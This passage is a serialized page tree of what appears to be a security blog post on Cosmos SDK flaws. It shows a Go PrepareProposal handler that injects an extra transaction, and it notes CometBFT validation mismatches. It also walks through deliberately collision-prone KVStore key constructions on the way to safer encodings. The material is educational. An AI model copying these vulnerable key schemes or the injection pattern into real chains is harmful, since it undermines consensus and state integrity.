json",{"type":19,"tag":168,"props":81973,"children":81974},{"style":212},[81975],{"type":24,"value":948},{"type":19,"tag":168,"props":81977,"children":81978},{"style":175},[81979],{"type":24,"value":81980},"Marshal",{"type":19,"tag":168,"props":81982,"children":81983},{"style":212},[81984],{"type":24,"value":500},{"type":19,"tag":168,"props":81986,"children":81987},{"style":393},[81988],{"type":24,"value":81638},{"type":19,"tag":168,"props":81990,"children":81991},{"style":212},[81992],{"type":24,"value":948},{"type":19,"tag":168,"props":81994,"children":81995},{"style":393},[81996],{"type":24,"value":81893},{"type":19,"tag":168,"props":81998,"children":81999},{"style":212},[82000],{"type":24,"value":557},{"type":19,"tag":168,"props":82002,"children":82003},{"class":170,"line":1008},[82004,82008,82012,82016,82020],{"type":19,"tag":168,"props":82005,"children":82006},{"style":419},[82007],{"type":24,"value":56285},{"type":19,"tag":168,"props":82009,"children":82010},{"style":393},[82011],{"type":24,"value":46003},{"type":19,"tag":168,"props":82013,"children":82014},{"style":399},[82015],{"type":24,"value":61872},{"type":19,"tag":168,"props":82017,"children":82018},{"style":382},[82019],{"type":24,"value":79407},{"type":19,"tag":168,"props":82021,"children":82022},{"style":212},[82023],{"type":24,"value":691},{"type":19,"tag":168,"props":82025,"children":82026},{"class":170,"line":1025},[82027,82032,82036,82041,82045,82049,82053,82058,82062,82067,82071,82075],{"type":19,"tag":168,"props":82028,"children":82029},{"style":393},[82030],{"type":24,"value":82031}," h",{"type":19,"tag":168,"props":82033,"children":82034},{"style":212},[82035],{"type":24,"value":948},{"type":19,"tag":168,"props":82037,"children":82038},{"style":393},[82039],{"type":24,"value":82040},"logger",{"type":19,"tag":168,"props":82042,"children":82043},{"style":212},[82044],{"type":24,"value":948},{"type":19,"tag":168,"props":82046,"children":82047},{"style":175},[82048],{"type":24,"value":34873},{"type":19,"tag":168,"props":82050,"children":82051},{"style":212},[82052],{"type":24,"value":500},{"type":19,"tag":168,"props":82054,"children":82055},{"style":181},[82056],{"type":24,"value":82057},"\"failed to marshal extended votes\"",{"type":19,"tag":168,"props":82059,"children":82060},{"style":212},[82061],{"type":24,"value":471},{"type":19,"tag":168,"props":82063,"children":82064},{"style":181},[82065],{"type":24,"value":82066},"\"err\"",{"type":19,"tag":168,"props":82068,"children":82069},{"style":212},[82070],{"type":24,"value":471},{"type":19,"tag":168,"props":82072,"children":82073},{"style":393},[82074],{"type":24,"value":45902},{"type":19,"tag":168,"props":82076,"children":82077},{"style":212},[82078],{"type":24,"value":557},{"type":19,"tag":168,"props":82080,"children":82081},{"class":170,"line":1042},[82082,82086,82090,82094],{"type":19,"tag":168,"props":82083,"children":82084},{"style":419},[82085],{"type":24,"value":58213},{"type":19,"tag":168,"props":82087,"children":82088},{"style":382},[82089],{"type":24,"value":79407},{"type":19,"tag":168,"props":82091,"children":82092},{"style":212},[82093],{"type":24,"value":471},{"type":19,"tag":168,"props":82095,"children":82096},{"style":393},[82097],{"type":24,"value":81128},{"type":19,"tag":168,"props":82099,"children":82100},{"class":170,"line":1055},[82101],{"type":19,"tag":168,"props":82102,"children":82103},{"style":212},[82104],{"type":24,"value":56369},{"type":19,"tag":168,"props":82106,"children":82107},{"class":170,"line":1064},[82108],{"type":19,"tag":168,"props":82109,"children":82110},{"style":399},[82111],{"type":24,"value":80007},{"type":19,"tag":168,"props":82113,"children":82114},{"class":170,"line":1087},[82115],{"type":19,"tag":168,"props":82116,"children":82117},{"style":212},[82118],{"type":24,"value":752},{"type":19,"tag":168,"props":82120,"children":82121},{"class":170,"line":1096},[82122,82127,82131,82135,82139,82144,82148,82153,82157,82161,82165,82169],{"type":19,"tag":168,"props":82123,"children":82124},{"style":393},[82125],{"type":24,"value":82126}," defaultRes",{"type":19,"tag":168,"props":82128,"children":82129},{"style":212},[82130],{"type":24,"value":471},{"type":19,"tag":168,"props":82132,"children":82133},{"style":393},[82134],{"type":24,"value":45902},{"type":19,"tag":168,"props":82136,"children":82137},{"style":399},[82138],{"type":24,"value":73905},{"type":19,"tag":168,"props":82140,"children":82141},{"style":393},[82142],{"type":24,"value":82143}," h",{"type":19,"tag":168,"props":82145,"children":82146},{"style":212},[82147],{"type":24,"value":948},{"type":19,"tag":168,"props":82149,"children":82150},{"style":175},[82151],{"type":24,"value":82152},"defaultPrepareProposal",{"type":19,"tag":168,"props":82154,"children":82155},{"style":212},[82156],{"type":24,"value":500},{"type":19,"tag":168,"props":82158,"children":82159},{"style":393},[82160],{"type":24,"value":17735},{"type":19,"tag":168,"props":82162,"children":82163},{"style":212},[82164],{"type":24,"value":471},{"type":19,"tag":168,"props":82166,"children":82167},{"style":393},[82168],{"type":24,"value":81638},{"type":19,"tag":168,"props":82170,"children":82171},{"style":212},[82172],{"type":24,"value":557},{"type":19,"tag":168,"props":82174,"children":82175},{"class":170,"line":1105},[82176],{"type":19,"tag":168,"props":82177,"children":82178},{"style":399},[82179],{"type":24,"value":79331},{"type":19,"tag":168,"props":82181,"children":82182},{"class":170,"line":1174},[82183,82188,82192,82197,82201],{"type":19,"tag":168,"props":82184,"children":82185},{"style":393},[82186],{"type":24,"value":82187}," proposalTxs",{"type":19,"tag":168,"props":82189,"children":82190},{"style":399},[82191],{"type":24,"value":73905},{"type":19,"tag":168,"props":82193,"children":82194},{"style":393},[82195],{"type":24,"value":82196}," defaultRes",{"type":19,"tag":168,"props":82198,"children":82199},{"style":212},[82200],{"type":24,"value":948},{"type":19,"tag":168,"props":82202,"children":82203},{"style":393},[82204],{"type":24,"value":82205},"Txs\n",{"type":19,"tag":168,"props":82207,"children":82208},{"class":170,"line":1182},[82209,82213,82217,82221,82225],{"type":19,"tag":168,"props":82210,"children":82211},{"style":419},[82212],{"type":24,"value":672},{"type":19,"tag":168,"props":82214,"children":82215},{"style":393},[82216],{"type":24,"value":81708},{"type":19,"tag":168,"props":82218,"children":82219},{"style":399},[82220],{"type":24,"value":61872},{"type":19,"tag":168,"props":82222,"children":82223},{"style":382},[82224],{"type":24,"value":79407},{"type":19,"tag":168,"props":82226,"children":82227},{"style":212},[82228],{"type":24,"value":691},{"type":19,"tag":168,"props":82230,"children":82231},{"class":170,"line":1212},[82232,82237,82241,82245,82250,82255,82259,82264,82268,82273,82277],{"type":19,"tag":168,"props":82233,"children":82234},{"style":393},[82235],{"type":24,"value":82236}," proposalTxs",{"type":19,"tag":168,"props":82238,"children":82239},{"style":399},[82240],{"type":24,"value":402},{"type":19,"tag":168,"props":82242,"children":82243},{"style":175},[82244],{"type":24,"value":75185},{"type":19,"tag":168,"props":82246,"children":82247},{"style":212},[82248],{"type":24,"value":82249},"([][]",{"type":19,"tag":168,"props":82251,"children":82252},{"style":825},[82253],{"type":24,"value":82254},"byte",{"type":19,"tag":168,"props":82256,"children":82257},{"style":212},[82258],{"type":24,"value":74107},{"type":19,"tag":168,"props":82260,"children":82261},{"style":393},[82262],{"type":24,"value":82263},"injection",{"type":19,"tag":168,"props":82265,"children":82266},{"style":212},[82267],{"type":24,"value":74126},{"type":19,"tag":168,"props":82269,"children":82270},{"style":393},[82271],{"type":24,"value":82272},"proposalTxs",{"type":19,"tag":168,"props":82274,"children":82275},{"style":399},[82276],{"type":24,"value":7032},{"type":19,"tag":168,"props":82278,"children":82279},{"style":212},[82280],{"type":24,"value":557},{"type":19,"tag":168,"props":82282,"children":82283},{"class":170,"line":1220},[82284,82289,82293,82297,82301,82305,82309,82314,82318,82323,82327,82331,82335,82339],{"type":19,"tag":168,"props":82285,"children":82286},{"style":393},[82287],{"type":24,"value":82288}," h",{"type":19,"tag":168,"props":82290,"children":82291},{"style":212},[82292],{"type":24,"value":948},{"type":19,"tag":168,"props":82294,"children":82295},{"style":393},[82296],{"type":24,"value":82040},{"type":19,"tag":168,"props":82298,"children":82299},{"style":212},[82300],{"type":24,"value":948},{"type":19,"tag":168,"props":82302,"children":82303},{"style":175},[82304],{"type":24,"value":22178},{"type":19,"tag":168,"props":82306,"children":82307},{"style":212},[82308],{"type":24,"value":500},{"type":19,"tag":168,"props":82310,"children":82311},{"style":181},[82312],{"type":24,"value":82313},"\"injected local last commit\"",{"type":19,"tag":168,"props":82315,"children":82316},{"style":212},[82317],{"type":24,"value":471},{"type":19,"tag":168,"props":82319,"children":82320},{"style":181},[82321],{"type":24,"value":82322},"\"height\"",{"type":19,"tag":168,"props":82324,"children":82325},{"style":212},[82326],{"type":24,"value":471},{"type":19,"tag":168,"props":82328,"children":82329},{"style":393},[82330],{"type":24,"value":81638},{"type":19,"tag":168,"props":82332,"children":82333},{"style":212},[82334],{"type":24,"value":948},{"type":19,"tag":168,"props":82336,"children":82337},{"style":393},[82338],{"type":24,"value":80968},{"type":19,"tag":168,"props":82340,"children":82341},{"style":212},[82342],{"type":24,"value":557},{"type":19,"tag":168,"props":82344,"children":82345},{"class":170,"line":1252},[82346],{"type":19,"tag":168,"props":82347,"children":82348},{"style":212},[82349],{"type":24,"value":752},{"type":19,"tag":168,"props":82351,"children":82352},{"class":170,"line":1260},[82353,82357,82361,82365,82369,82373],{"type":19,"tag":168,"props":82354,"children":82355},{"style":419},[82356],{"type":24,"value":13192},{"type":19,"tag":168,"props":82358,"children":82359},{"style":399},[82360],{"type":24,"value":4577},{"type":19,"tag":168,"props":82362,"children":82363},{"style":825},[82364],{"type":24,"value":81647},{"type":19,"tag":168,"props":82366,"children":82367},{"style":212},[82368],{"type":24,"value":948},{"type":19,"tag":168,"props":82370,"children":82371},{"style":825},[82372],{"type":24,"value":81677},{"type":19,"tag":168,"props":82374,"children":82375},{"style":212},[82376],{"type":24,"value":8324},{"type":19,"tag":168,"props":82378,"children":82379},{"class":170,"line":1320},[82380,82385,82389,82393],{"type":19,"tag":168,"props":82381,"children":82382},{"style":393},[82383],{"type":24,"value":82384}," Txs",{"type":19,"tag":168,"props":82386,"children":82387},{"style":212},[82388],{"type":24,"value":12778},{"type":19,"tag":168,"props":82390,"children":82391},{"style":393},[82392],{"type":24,"value":82272},{"type":19,"tag":168,"props":82394,"children":82395},{"style":212},[82396],{"type":24,"value":915},{"type":19,"tag":168,"props":82398,"children":82399},{"class":170,"line":6486},[82400,82405],{"type":19,"tag":168,"props":82401,"children":82402},{"style":212},[82403],{"type":24,"value":82404}," }, ",{"type":19,"tag":168,"props":82406,"children":82407},{"style":382},[82408],{"type":24,"value":74131},{"type":19,"tag":168,"props":82410,"children":82411},{"class":170,"line":6504},[82412],{"type":19,"tag":168,"props":82413,"children":82414},{"style":212},[82415],{"type":24,"value":761},{"type":19,"tag":168,"props":82417,"children":82418},{"class":170,"line":6549},[82419],{"type":19,"tag":168,"props":82420,"children":82421},{"style":212},[82422],{"type":24,"value":1326},{"type":19,"tag":20,"props":82424,"children":82425},{},[82426,82428,82433,82434,82439,82441,82448],{"type":24,"value":82427},"Aside from the more complex variant, pure validation mismatches are also still prevalent despite being a well-known attack surface. This stems from ",{"type":19,"tag":27,"props":82429,"children":82431},{"className":82430},[],[82432],{"type":24,"value":80797},{"type":24,"value":461},{"type":19,"tag":27,"props":82435,"children":82437},{"className":82436},[],[82438],{"type":24,"value":80865},{"type":24,"value":82440},") rejections by various obscure checks hidden within CometBTF. For example, this commit fixes a bug where ",{"type":19,"tag":269,"props":82442,"children":82445},{"href":82443,"rel":82444},"https://github.com/babylonlabs-io/babylon/commit/aa827f875a16ebf85efee5d9a6c8c4e76dbfb7bd#diff-77659089b31367690393a968f4bfacfd1bf960ed300965729df216a6fb612699",[273],[82446],{"type":24,"value":82447},"PrepareProposal may return a Proposal larger than MaxTxBytes",{"type":24,"value":82449},", which will later get rejected by CometBTF.",{"type":19,"tag":36,"props":82451,"children":82453},{"id":82452},"the-keymaker",[82454],{"type":24,"value":82455},"The Keymaker",{"type":19,"tag":20,"props":82457,"children":82458},{},[82459,82461,82467,82469,82474],{"type":24,"value":82460},"States (persistent storage) are another crucial component in state machines. Cosmos relies on a custom key-value storage called",{"type":19,"tag":27,"props":82462,"children":82464},{"className":82463},[],[82465],{"type":24,"value":82466},"KVStore",{"type":24,"value":82468}," to handle states efficently. In ",{"type":19,"tag":27,"props":82470,"children":82472},{"className":82471},[],[82473],{"type":24,"value":82466},{"type":24,"value":82475},", keys and values are both represented as simple byte slices, requiring developers to handle serialization and deserialization of more intricate structures when working with storage.",{"type":19,"tag":20,"props":82477,"children":82478},{},[82479],{"type":24,"value":82480},"The complexity behind proper data serialization often results in flawed code and security vulnerabilities. Below, we showcase relatively simple (but buggy) implementations and progressively address and mitigate the issues until the code is deemed safe from exploits.",{"type":19,"tag":20,"props":82482,"children":82483},{},[82484,82486,82492],{"type":24,"value":82485},"Let's start by considering a scenario where we need to store the ",{"type":19,"tag":27,"props":82487,"children":82489},{"className":82488},[],[82490],{"type":24,"value":82491},"positionMap",{"type":24,"value":82493}," structure mentioned below into storage.",{"type":19,"tag":158,"props":82495,"children":82497},{"code":82496,"language":73653,"meta":7,"className":73654,"style":7},"type VaultId uint64\ntype Username string\ntype PositionName string\ntype Position struct {\n data []byte\n}\ntype PositionMap :=\n map[VaultId]map[Username]map[PositionName]Position\n",[82498],{"type":19,"tag":27,"props":82499,"children":82500},{"__ignoreMap":7},[82501,82517,82534,82550,82569,82584,82591,82608],{"type":19,"tag":168,"props":82502,"children":82503},{"class":170,"line":171},[82504,82508,82513],{"type":19,"tag":168,"props":82505,"children":82506},{"style":382},[82507],{"type":24,"value":30229},{"type":19,"tag":168,"props":82509,"children":82510},{"style":825},[82511],{"type":24,"value":82512}," VaultId",{"type":19,"tag":168,"props":82514,"children":82515},{"style":825},[82516],{"type":24,"value":73691},{"type":19,"tag":168,"props":82518,"children":82519},{"class":170,"line":198},[82520,82524,82529],{"type":19,"tag":168,"props":82521,"children":82522},{"style":382},[82523],{"type":24,"value":30229},{"type":19,"tag":168,"props":82525,"children":82526},{"style":825},[82527],{"type":24,"value":82528}," Username",{"type":19,"tag":168,"props":82530,"children":82531},{"style":825},[82532],{"type":24,"value":82533}," string\n",{"type":19,"tag":168,"props":82535,"children":82536},{"class":170,"line":415},[82537,82541,82546],{"type":19,"tag":168,"props":82538,"children":82539},{"style":382},[82540],{"type":24,"value":30229},{"type":19,"tag":168,"props":82542,"children":82543},{"style":825},[82544],{"type":24,"value":82545}," PositionName",{"type":19,"tag":168,"props":82547,"children":82548},{"style":825},[82549],{"type":24,"value":82533},{"type":19,"tag":168,"props":82551,"children":82552},{"class":170,"line":450},[82553,82557,82561,82565],{"type":19,"tag":168,"props":82554,"children":82555},{"style":382},[82556],{"type":24,"value":30229},{"type":19,"tag":168,"props":82558,"children":82559},{"style":825},[82560],{"type":24,"value":4861},{"type":19,"tag":168,"props":82562,"children":82563},{"style":382},[82564],{"type":24,"value":18606},{"type":19,"tag":168,"props":82566,"children":82567},{"style":212},[82568],{"type":24,"value":691},{"type":19,"tag":168,"props":82570,"children":82571},{"class":170,"line":560},[82572,82576,82580],{"type":19,"tag":168,"props":82573,"children":82574},{"style":393},[82575],{"type":24,"value":40709},{"type":19,"tag":168,"props":82577,"children":82578},{"style":212},[82579],{"type":24,"value":73716},{"type":19,"tag":168,"props":82581,"children":82582},{"style":825},[82583],{"type":24,"value":81717},{"type":19,"tag":168,"props":82585,"children":82586},{"class":170,"line":666},[82587],{"type":19,"tag":168,"props":82588,"children":82589},{"style":212},[82590],{"type":24,"value":1326},{"type":19,"tag":168,"props":82592,"children":82593},{"class":170,"line":694},[82594,82598,82603],{"type":19,"tag":168,"props":82595,"children":82596},{"style":382},[82597],{"type":24,"value":30229},{"type":19,"tag":168,"props":82599,"children":82600},{"style":825},[82601],{"type":24,"value":82602}," PositionMap",{"type":19,"tag":168,"props":82604,"children":82605},{"style":399},[82606],{"type":24,"value":82607}," :=\n",{"type":19,"tag":168,"props":82609,"children":82610},{"class":170,"line":707},[82611,82616,82620,82625,82629,82633,82637,82642,82646,82650,82654,82659,82663],{"type":19,"tag":168,"props":82612,"children":82613},{"style":382},[82614],{"type":24,"value":82615}," map",{"type":19,"tag":168,"props":82617,"children":82618},{"style":212},[82619],{"type":24,"value":1152},{"type":19,"tag":168,"props":82621,"children":82622},{"style":825},[82623],{"type":24,"value":82624},"VaultId",{"type":19,"tag":168,"props":82626,"children":82627},{"style":212},[82628],{"type":24,"value":12858},{"type":19,"tag":168,"props":82630,"children":82631},{"style":382},[82632],{"type":24,"value":64588},{"type":19,"tag":168,"props":82634,"children":82635},{"style":212},[82636],{"type":24,"value":1152},{"type":19,"tag":168,"props":82638,"children":82639},{"style":825},[82640],{"type":24,"value":82641},"Username",{"type":19,"tag":168,"props":82643,"children":82644},{"style":212},[82645],{"type":24,"value":12858},{"type":19,"tag":168,"props":82647,"children":82648},{"style":382},[82649],{"type":24,"value":64588},{"type":19,"tag":168,"props":82651,"children":82652},{"style":212},[82653],{"type":24,"value":1152},{"type":19,"tag":168,"props":82655,"children":82656},{"style":825},[82657],{"type":24,"value":82658},"PositionName",{"type":19,"tag":168,"props":82660,"children":82661},{"style":212},[82662],{"type":24,"value":12858},{"type":19,"tag":168,"props":82664,"children":82665},{"style":825},[82666],{"type":24,"value":82667},"Position\n",{"type":19,"tag":20,"props":82669,"children":82670},{},[82671,82673,82679],{"type":24,"value":82672},"Given that there are two levels of keys in ",{"type":19,"tag":27,"props":82674,"children":82676},{"className":82675},[],[82677],{"type":24,"value":82678},"PositionMap",{"type":24,"value":82680},", we should try to serialize these three map keys into a hierarchically searchable storage key. The most straightforward mitigation is to convert all fields into strings and concat them together.",{"type":19,"tag":158,"props":82682,"children":82684},{"code":82683,"language":73653,"meta":7,"className":73654,"style":7},"storageKey := fmt.Sprintf(\n \"%d%s%s\",\n vaultId,\n username,\n positionName,\n)\n",[82685],{"type":19,"tag":27,"props":82686,"children":82687},{"__ignoreMap":7},[82688,82717,82729,82741,82753,82765],{"type":19,"tag":168,"props":82689,"children":82690},{"class":170,"line":171},[82691,82696,82700,82704,82708,82713],{"type":19,"tag":168,"props":82692,"children":82693},{"style":393},[82694],{"type":24,"value":82695},"storageKey",{"type":19,"tag":168,"props":82697,"children":82698},{"style":399},[82699],{"type":24,"value":73905},{"type":19,"tag":168,"props":82701,"children":82702},{"style":393},[82703],{"type":24,"value":79723},{"type":19,"tag":168,"props":82705,"children":82706},{"style":212},[82707],{"type":24,"value":948},{"type":19,"tag":168,"props":82709,"children":82710},{"style":175},[82711],{"type":24,"value":82712},"Sprintf",{"type":19,"tag":168,"props":82714,"children":82715},{"style":212},[82716],{"type":24,"value":870},{"type":19,"tag":168,"props":82718,"children":82719},{"class":170,"line":198},[82720,82725],{"type":19,"tag":168,"props":82721,"children":82722},{"style":181},[82723],{"type":24,"value":82724}," \"%d%s%s\"",{"type":19,"tag":168,"props":82726,"children":82727},{"style":212},[82728],{"type":24,"value":915},{"type":19,"tag":168,"props":82730,"children":82731},{"class":170,"line":415},[82732,82737],{"type":19,"tag":168,"props":82733,"children":82734},{"style":393},[82735],{"type":24,"value":82736}," vaultId",{"type":19,"tag":168,"props":82738,"children":82739},{"style":212},[82740],{"type":24,"value":915},{"type":19,"tag":168,"props":82742,"children":82743},{"class":170,"line":450},[82744,82749],{"type":19,"tag":168,"props":82745,"children":82746},{"style":393},[82747],{"type":24,"value":82748}," username",{"type":19,"tag":168,"props":82750,"children":82751},{"style":212},[82752],{"type":24,"value":915},{"type":19,"tag":168,"props":82754,"children":82755},{"class":170,"line":560},[82756,82761],{"type":19,"tag":168,"props":82757,"children":82758},{"style":393},[82759],{"type":24,"value":82760}," positionName",{"type":19,"tag":168,"props":82762,"children":82763},{"style":212},[82764],{"type":24,"value":915},{"type":19,"tag":168,"props":82766,"children":82767},{"class":170,"line":666},[82768],{"type":19,"tag":168,"props":82769,"children":82770},{"style":212},[82771],{"type":24,"value":557},{"type":19,"tag":20,"props":82773,"children":82774},{},[82775],{"type":24,"value":82776},"Although plain concatenation allows us to easily construct a storage key, it becomes apparent that this implementation is prone to key collisions.",{"type":19,"tag":158,"props":82778,"children":82780},{"code":82779},"vaultId = 1, username = \"2a\", positionName = \"b\"\n => storageKey = \"12ab\"\n\nvaultId = 12, username = \"a\", positionName = \"b\"\n => storageKey = \"12ab\"\n",[82781],{"type":19,"tag":27,"props":82782,"children":82783},{"__ignoreMap":7},[82784],{"type":24,"value":82779},{"type":19,"tag":20,"props":82786,"children":82787},{},[82788,82793],{"type":19,"tag":293,"props":82789,"children":82790},{},[82791],{"type":24,"value":82792},"So, how can we mitigate this issue?",{"type":24,"value":82794},"\nPerhaps we can add a field separator between each field, which would resemble the following:",{"type":19,"tag":158,"props":82796,"children":82798},{"code":82797,"language":73653,"meta":7,"className":73654,"style":7},"const (\n Seperator = \"|\"\n)\n\nstorageKey := fmt.Sprintf(\n \"%d%s%s%s%s\",\n vaultId,\n Seperator,\n username,\n Seperator,\n positionName,\n)\n",[82799],{"type":19,"tag":27,"props":82800,"children":82801},{"__ignoreMap":7},[82802,82813,82830,82837,82844,82871,82883,82894,82905,82916,82927,82938],{"type":19,"tag":168,"props":82803,"children":82804},{"class":170,"line":171},[82805,82809],{"type":19,"tag":168,"props":82806,"children":82807},{"style":382},[82808],{"type":24,"value":7097},{"type":19,"tag":168,"props":82810,"children":82811},{"style":212},[82812],{"type":24,"value":76055},{"type":19,"tag":168,"props":82814,"children":82815},{"class":170,"line":198},[82816,82821,82825],{"type":19,"tag":168,"props":82817,"children":82818},{"style":393},[82819],{"type":24,"value":82820}," Seperator",{"type":19,"tag":168,"props":82822,"children":82823},{"style":399},[82824],{"type":24,"value":402},{"type":19,"tag":168,"props":82826,"children":82827},{"style":181},[82828],{"type":24,"value":82829}," \"|\"\n",{"type":19,"tag":168,"props":82831,"children":82832},{"class":170,"line":415},[82833],{"type":19,"tag":168,"props":82834,"children":82835},{"style":212},[82836],{"type":24,"value":557},{"type":19,"tag":168,"props":82838,"children":82839},{"class":170,"line":450},[82840],{"type":19,"tag":168,"props":82841,"children":82842},{"emptyLinePlaceholder":14},[82843],{"type":24,"value":1093},{"type":19,"tag":168,"props":82845,"children":82846},{"class":170,"line":560},[82847,82851,82855,82859,82863,82867],{"type":19,"tag":168,"props":82848,"children":82849},{"style":393},[82850],{"type":24,"value":82695},{"type":19,"tag":168,"props":82852,"children":82853},{"style":399},[82854],{"type":24,"value":73905},{"type":19,"tag":168,"props":82856,"children":82857},{"style":393},[82858],{"type":24,"value":79723},{"type":19,"tag":168,"props":82860,"children":82861},{"style":212},[82862],{"type":24,"value":948},{"type":19,"tag":168,"props":82864,"children":82865},{"style":175},[82866],{"type":24,"value":82712},{"type":19,"tag":168,"props":82868,"children":82869},{"style":212},[82870],{"type":24,"value":870},{"type":19,"tag":168,"props":82872,"children":82873},{"class":170,"line":666},[82874,82879],{"type":19,"tag":168,"props":82875,"children":82876},{"style":181},[82877],{"type":24,"value":82878}," \"%d%s%s%s%s\"",{"type":19,"tag":168,"props":82880,"children":82881},{"style":212},[82882],{"type":24,"value":915},{"type":19,"tag":168,"props":82884,"children":82885},{"class":170,"line":694},[82886,82890],{"type":19,"tag":168,"props":82887,"children":82888},{"style":393},[82889],{"type":24,"value":82736},{"type":19,"tag":168,"props":82891,"children":82892},{"style":212},[82893],{"type":24,"value":915},{"type":19,"tag":168,"props":82895,"children":82896},{"class":170,"line":707},[82897,82901],{"type":19,"tag":168,"props":82898,"children":82899},{"style":393},[82900],{"type":24,"value":82820},{"type":19,"tag":168,"props":82902,"children":82903},{"style":212},[82904],{"type":24,"value":915},{"type":19,"tag":168,"props":82906,"children":82907},{"class":170,"line":725},[82908,82912],{"type":19,"tag":168,"props":82909,"children":82910},{"style":393},[82911],{"type":24,"value":82748},{"type":19,"tag":168,"props":82913,"children":82914},{"style":212},[82915],{"type":24,"value":915},{"type":19,"tag":168,"props":82917,"children":82918},{"class":170,"line":746},[82919,82923],{"type":19,"tag":168,"props":82920,"children":82921},{"style":393},[82922],{"type":24,"value":82820},{"type":19,"tag":168,"props":82924,"children":82925},{"style":212},[82926],{"type":24,"value":915},{"type":19,"tag":168,"props":82928,"children":82929},{"class":170,"line":755},[82930,82934],{"type":19,"tag":168,"props":82931,"children":82932},{"style":393},[82933],{"type":24,"value":82760},{"type":19,"tag":168,"props":82935,"children":82936},{"style":212},[82937],{"type":24,"value":915},{"type":19,"tag":168,"props":82939,"children":82940},{"class":170,"line":1008},[82941],{"type":19,"tag":168,"props":82942,"children":82943},{"style":212},[82944],{"type":24,"value":557},{"type":19,"tag":20,"props":82946,"children":82947},{},[82948],{"type":24,"value":82949},"Inserting a separator helps prevent most accidental collisions, but does it completely solve the problem?",{"type":19,"tag":20,"props":82951,"children":82952},{},[82953,82955,82961,82962,82968],{"type":24,"value":82954},"Sadly, it doesn't. Since the ",{"type":19,"tag":27,"props":82956,"children":82958},{"className":82957},[],[82959],{"type":24,"value":82960},"username",{"type":24,"value":8436},{"type":19,"tag":27,"props":82963,"children":82965},{"className":82964},[],[82966],{"type":24,"value":82967},"vaultName",{"type":24,"value":82969}," are both strings that may contain arbitrary characters (including the separator), collisions can still happen.",{"type":19,"tag":158,"props":82971,"children":82973},{"code":82972},"vaultId = 1, username = \"a|\", positionName = \"b\"\n => storageKey = \"1|a||b\"\n\nvaultId = 1, username = \"a\", positionName = \"|b\"\n => storageKey = \"1|a||b\"\n",[82974],{"type":19,"tag":27,"props":82975,"children":82976},{"__ignoreMap":7},[82977],{"type":24,"value":82972},{"type":19,"tag":20,"props":82979,"children":82980},{},[82981],{"type":24,"value":82982},"To further mitigate this, we could encode all fields to ensure that the separator is excluded in individual fields, thus making field injections impossible.",{"type":19,"tag":158,"props":82984,"children":82986},{"code":82985,"language":73653,"meta":7,"className":73654,"style":7},"const (\n Seperator = \"|\"\n)\n\n\nusernameEncoded := make(\n []byte,\n hex.EncodedLen(len(username)),\n)\nhex.Encode(usernameEncoded, username)\n\npositionNameEncoded := make(\n []byte,\n hex.EncodedLen(len(positionName)),\n)\nhex.Encode(positionNameEncoded, positionName)\n\nstorageKey := fmt.Sprintf(\n \"%d%s%s%s%s\",\n vaultId,\n Seperator,\n usernameEncoded,\n Seperator,\n positionNameEncoded\n)\n",[82987],{"type":19,"tag":27,"props":82988,"children":82989},{"__ignoreMap":7},[82990,83001,83016,83023,83030,83037,83058,83074,83112,83119,83156,83163,83183,83198,83234,83241,83276,83283,83310,83321,83332,83343,83355,83366,83374],{"type":19,"tag":168,"props":82991,"children":82992},{"class":170,"line":171},[82993,82997],{"type":19,"tag":168,"props":82994,"children":82995},{"style":382},[82996],{"type":24,"value":7097},{"type":19,"tag":168,"props":82998,"children":82999},{"style":212},[83000],{"type":24,"value":76055},{"type":19,"tag":168,"props":83002,"children":83003},{"class":170,"line":198},[83004,83008,83012],{"type":19,"tag":168,"props":83005,"children":83006},{"style":393},[83007],{"type":24,"value":82820},{"type":19,"tag":168,"props":83009,"children":83010},{"style":399},[83011],{"type":24,"value":402},{"type":19,"tag":168,"props":83013,"children":83014},{"style":181},[83015],{"type":24,"value":82829},{"type":19,"tag":168,"props":83017,"children":83018},{"class":170,"line":415},[83019],{"type":19,"tag":168,"props":83020,"children":83021},{"style":212},[83022],{"type":24,"value":557},{"type":19,"tag":168,"props":83024,"children":83025},{"class":170,"line":450},[83026],{"type":19,"tag":168,"props":83027,"children":83028},{"emptyLinePlaceholder":14},[83029],{"type":24,"value":1093},{"type":19,"tag":168,"props":83031,"children":83032},{"class":170,"line":560},[83033],{"type":19,"tag":168,"props":83034,"children":83035},{"emptyLinePlaceholder":14},[83036],{"type":24,"value":1093},{"type":19,"tag":168,"props":83038,"children":83039},{"class":170,"line":666},[83040,83045,83049,83054],{"type":19,"tag":168,"props":83041,"children":83042},{"style":393},[83043],{"type":24,"value":83044},"usernameEncoded",{"type":19,"tag":168,"props":83046,"children":83047},{"style":399},[83048],{"type":24,"value":73905},{"type":19,"tag":168,"props":83050,"children":83051},{"style":175},[83052],{"type":24,"value":83053}," make",{"type":19,"tag":168,"props":83055,"children":83056},{"style":212},[83057],{"type":24,"value":870},{"type":19,"tag":168,"props":83059,"children":83060},{"class":170,"line":694},[83061,83066,83070],{"type":19,"tag":168,"props":83062,"children":83063},{"style":212},[83064],{"type":24,"value":83065}," []",{"type":19,"tag":168,"props":83067,"children":83068},{"style":825},[83069],{"type":24,"value":82254},{"type":19,"tag":168,"props":83071,"children":83072},{"style":212},[83073],{"type":24,"value":915},{"type":19,"tag":168,"props":83075,"children":83076},{"class":170,"line":707},[83077,83082,83086,83091,83095,83099,83103,83107],{"type":19,"tag":168,"props":83078,"children":83079},{"style":393},[83080],{"type":24,"value":83081}," hex",{"type":19,"tag":168,"props":83083,"children":83084},{"style":212},[83085],{"type":24,"value":948},{"type":19,"tag":168,"props":83087,"children":83088},{"style":175},[83089],{"type":24,"value":83090},"EncodedLen",{"type":19,"tag":168,"props":83092,"children":83093},{"style":212},[83094],{"type":24,"value":500},{"type":19,"tag":168,"props":83096,"children":83097},{"style":175},[83098],{"type":24,"value":6579},{"type":19,"tag":168,"props":83100,"children":83101},{"style":212},[83102],{"type":24,"value":500},{"type":19,"tag":168,"props":83104,"children":83105},{"style":393},[83106],{"type":24,"value":82960},{"type":19,"tag":168,"props":83108,"children":83109},{"style":212},[83110],{"type":24,"value":83111},")),\n",{"type":19,"tag":168,"props":83113,"children":83114},{"class":170,"line":725},[83115],{"type":19,"tag":168,"props":83116,"children":83117},{"style":212},[83118],{"type":24,"value":557},{"type":19,"tag":168,"props":83120,"children":83121},{"class":170,"line":746},[83122,83127,83131,83136,83140,83144,83148,83152],{"type":19,"tag":168,"props":83123,"children":83124},{"style":393},[83125],{"type":24,"value":83126},"hex",{"type":19,"tag":168,"props":83128,"children":83129},{"style":212},[83130],{"type":24,"value":948},{"type":19,"tag":168,"props":83132,"children":83133},{"style":175},[83134],{"type":24,"value":83135},"En